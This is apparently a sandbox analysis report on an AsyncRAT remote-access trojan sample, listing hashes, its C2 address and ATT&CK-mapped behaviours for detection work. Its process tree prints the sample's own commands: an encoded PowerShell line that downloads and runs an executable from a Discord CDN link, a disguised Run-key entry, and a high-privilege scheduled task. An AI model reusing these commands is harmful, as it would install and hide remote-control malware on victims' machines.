asyncrat | 05012029f292958279ee1e9a71f5760a438b2524d40dec747970a304e526377e

General

Target

4.exe
Size

5KB
MD5

808371d24bd7ce681e45a4893a0c2db8
SHA1

1463dbd8ac03f10a8a42033c46a9ccd02e5165f4
SHA256

05012029f292958279ee1e9a71f5760a438b2524d40dec747970a304e526377e
SHA512

896a5e1e32d8e986aef6eb50f78cc12173b3d4cc18a69d603b58a9fdb18783e1a59970649c0cb10beb67db0237f0b2e966f21e493288c2ffa46edf5fd85de05f
SSDEEP

96:WTj79bKCFmOHjtAwhvk+aKsJAYfsvvk+a20Lvud3ojbrl:U/9bRFZHjfhvk+9Y6vkC4ud6

Score

10^/10

asyncrat defendersmartscren persistence rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

DefenderSmartScren

C2

217.64.31.3:8437

Mutex

DefenderSmartScren

Attributes

delay
3
install
false
install_file
SecurityHealtheurvice.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/2552-149-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 3928 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

4.exe

pid process

4744 4.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

4.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation 4.exe

flow	pid	process
3	3928	powershell.exe

pid	process
4744	4.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	4.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityHealthService = "C:\\Users\\Admin\\AppData\\Roaming\\SecurityHealthService\\SecurityHealthService.exe"	powershell.exe

Drops file in System32 directory 2 IoCs

Processes:

svchost.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{DA19E7D7-5B55-46BB-B9AD-B8C8FDCA02A5}.catalogItem	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{88D0106D-66A9-4778-98C9-EACEE4467F7A}.catalogItem	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

4.exe

description pid process target process

PID 4744 set thread context of 2552 4744 4.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	pid	process	target process
PID 4744 set thread context of 2552	4744	4.exe	RegAsm.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

svchost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	svchost.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

4564 schtasks.exe

pid	process
4564	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

svchost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	svchost.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

3928 powershell.exe
3928 powershell.exe
4884 powershell.exe
4884 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3928 powershell.exe
Token: SeDebugPrivilege 4884 powershell.exe

pid	process
3928	powershell.exe
3928	powershell.exe
4884	powershell.exe
4884	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3928	powershell.exe
Token: SeDebugPrivilege	4884	powershell.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

4.exepowershell.exe4.execmd.exe

description	pid	process	target process
PID 1152 wrote to memory of 3928	1152	4.exe	powershell.exe
PID 1152 wrote to memory of 3928	1152	4.exe	powershell.exe
PID 3928 wrote to memory of 4744	3928	powershell.exe	4.exe
PID 3928 wrote to memory of 4744	3928	powershell.exe	4.exe
PID 3928 wrote to memory of 4744	3928	powershell.exe	4.exe
PID 4744 wrote to memory of 4884	4744	4.exe	powershell.exe
PID 4744 wrote to memory of 4884	4744	4.exe	powershell.exe
PID 4744 wrote to memory of 4884	4744	4.exe	powershell.exe
PID 4744 wrote to memory of 4940	4744	4.exe	cmd.exe
PID 4744 wrote to memory of 4940	4744	4.exe	cmd.exe
PID 4744 wrote to memory of 4940	4744	4.exe	cmd.exe
PID 4940 wrote to memory of 4564	4940	cmd.exe	schtasks.exe
PID 4940 wrote to memory of 4564	4940	cmd.exe	schtasks.exe
PID 4940 wrote to memory of 4564	4940	cmd.exe	schtasks.exe
PID 4744 wrote to memory of 2552	4744	4.exe	RegAsm.exe
PID 4744 wrote to memory of 2552	4744	4.exe	RegAsm.exe
PID 4744 wrote to memory of 2552	4744	4.exe	RegAsm.exe
PID 4744 wrote to memory of 2552	4744	4.exe	RegAsm.exe
PID 4744 wrote to memory of 2552	4744	4.exe	RegAsm.exe
PID 4744 wrote to memory of 2552	4744	4.exe	RegAsm.exe
PID 4744 wrote to memory of 2552	4744	4.exe	RegAsm.exe
PID 4744 wrote to memory of 2552	4744	4.exe	RegAsm.exe

C:\Users\Admin\AppData\Local\Temp\4.exe
"C:\Users\Admin\AppData\Local\Temp\4.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1152

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAcQB1ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA0ADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANQA1ADYAMAA0ADYANQA0ADQANAA2ADIAMgAzADMANwAwAC8AMQAwADUANQA2ADAANAA4ADgAOQA3ADYAMwA0ADUAMAA4ADkAMAAvAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwAsACAAPAAjAGwAdwBuACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcwBmAGMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAaQBkAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcANAAuAGUAeABlACcAKQApADwAIwByAGIAaQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB3AGIAagAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAZQBxAHYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcANAAuAGUAeABlACcAKQA8ACMAegBpAGYAIwA+AA=="
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3928

C:\Users\Admin\AppData\Roaming\4.exe
"C:\Users\Admin\AppData\Roaming\4.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4744

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SecurityHealthService';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SecurityHealthService' -Value '"C:\Users\Admin\AppData\Roaming\SecurityHealthService\SecurityHealthService.exe"' -PropertyType 'String'
4⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4884

C:\Windows\SysWOW64\cmd.exe
"cmd" /C schtasks /create /tn \SecurityHealthService /tr "C:\Users\Admin\AppData\Roaming\SecurityHealthService\SecurityHealthService.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
4⤵
- Suspicious use of WriteProcessMemory
PID:4940

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /tn \SecurityHealthService /tr "C:\Users\Admin\AppData\Roaming\SecurityHealthService\SecurityHealthService.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:4564

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
#cmd
4⤵
PID:2552

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
1⤵
- Drops file in System32 directory
- Checks processor information in registry
- Enumerates system info in registry
PID:588

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
e942aadc56bfd6885115fa4d65b56a04

SHA1
ed778f04ec6ca615686ce9d239d7d4688715d6f2

SHA256
450f4b18e27486e793dacde81f79112ffe1a659992b17fd103bf9a16e613c7b0

SHA512
842711f37d9abd1fdf53a46529c1d0700e82da1973f0c3e6b66070efccc0393396560c3a0287719f2d641a4ede00a6da7cb072f07817c8cd0c45cd2ca46e61e4

Download Submit
C:\Users\Admin\AppData\Roaming\4.exe
Filesize
87KB

MD5
ca699117112a173ca7b289f1baf6c3c0

SHA1
862f227d4fa0b4de892006d7fe19e610e9f1a676

SHA256
db805d5ac09ea9d18a3016d4c70cbb52087604fe5ad23fd8043399c970c0c8a6

SHA512
d9f82f6e18ce2eb624a5ee1e20618318fde7ffdcff834d9c0291f4971bd72ce9b7f5108bf45f11ceed4d1f526bad4842913e833a25e3d99a3235d6f87b4d2620

Download Submit
C:\Users\Admin\AppData\Roaming\4.exe
Filesize
87KB

MD5
ca699117112a173ca7b289f1baf6c3c0

SHA1
862f227d4fa0b4de892006d7fe19e610e9f1a676

SHA256
db805d5ac09ea9d18a3016d4c70cbb52087604fe5ad23fd8043399c970c0c8a6

SHA512
d9f82f6e18ce2eb624a5ee1e20618318fde7ffdcff834d9c0291f4971bd72ce9b7f5108bf45f11ceed4d1f526bad4842913e833a25e3d99a3235d6f87b4d2620

Download Submit
memory/1152-135-0x00007FFD6C980000-0x00007FFD6D441000-memory.dmp

Filesize
10.8MB

Download
memory/1152-132-0x00000000009F0000-0x00000000009F8000-memory.dmp

Filesize
32KB

Download
memory/2552-149-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/2552-148-0x0000000000000000-mapping.dmp

Download
memory/3928-140-0x00007FFD6C980000-0x00007FFD6D441000-memory.dmp

Filesize
10.8MB

Download
memory/3928-136-0x00007FFD6C980000-0x00007FFD6D441000-memory.dmp

Filesize
10.8MB

Download
memory/3928-137-0x00007FFD6C980000-0x00007FFD6D441000-memory.dmp

Filesize
10.8MB

Download
memory/3928-133-0x0000000000000000-mapping.dmp

Download
memory/3928-134-0x0000021AAD2C0000-0x0000021AAD2E2000-memory.dmp

Filesize
136KB

Download
memory/4564-147-0x0000000000000000-mapping.dmp

Download
memory/4744-142-0x0000000000B10000-0x0000000000B2C000-memory.dmp

Filesize
112KB

Download
memory/4744-143-0x00000000059B0000-0x0000000005F54000-memory.dmp

Filesize
5.6MB

Download
memory/4744-138-0x0000000000000000-mapping.dmp

Download
memory/4884-152-0x0000000005420000-0x0000000005486000-memory.dmp

Filesize
408KB

Download
memory/4884-157-0x0000000072150000-0x000000007219C000-memory.dmp

Filesize
304KB

Download
memory/4884-150-0x0000000004C80000-0x00000000052A8000-memory.dmp

Filesize
6.2MB

Download
memory/4884-151-0x0000000004BC0000-0x0000000004BE2000-memory.dmp

Filesize
136KB

Download
memory/4884-166-0x0000000007190000-0x00000000071B2000-memory.dmp

Filesize
136KB

Download
memory/4884-153-0x0000000005500000-0x0000000005566000-memory.dmp

Filesize
408KB

Download
memory/4884-144-0x0000000000000000-mapping.dmp

Download
memory/4884-155-0x0000000005B10000-0x0000000005B2E000-memory.dmp

Filesize
120KB

Download
memory/4884-156-0x00000000060F0000-0x0000000006122000-memory.dmp

Filesize
200KB

Download
memory/4884-146-0x00000000021E0000-0x0000000002216000-memory.dmp

Filesize
216KB

Download
memory/4884-158-0x00000000060B0000-0x00000000060CE000-memory.dmp

Filesize
120KB

Download
memory/4884-159-0x0000000007460000-0x0000000007ADA000-memory.dmp

Filesize
6.5MB

Download
memory/4884-160-0x0000000006E10000-0x0000000006E2A000-memory.dmp

Filesize
104KB

Download
memory/4884-161-0x0000000006E90000-0x0000000006E9A000-memory.dmp

Filesize
40KB

Download
memory/4884-162-0x0000000007090000-0x0000000007126000-memory.dmp

Filesize
600KB

Download
memory/4884-163-0x0000000007040000-0x000000000704E000-memory.dmp

Filesize
56KB

Download
memory/4884-164-0x0000000007150000-0x000000000716A000-memory.dmp

Filesize
104KB

Download
memory/4884-165-0x0000000007130000-0x0000000007138000-memory.dmp

Filesize
32KB

Download
memory/4940-145-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads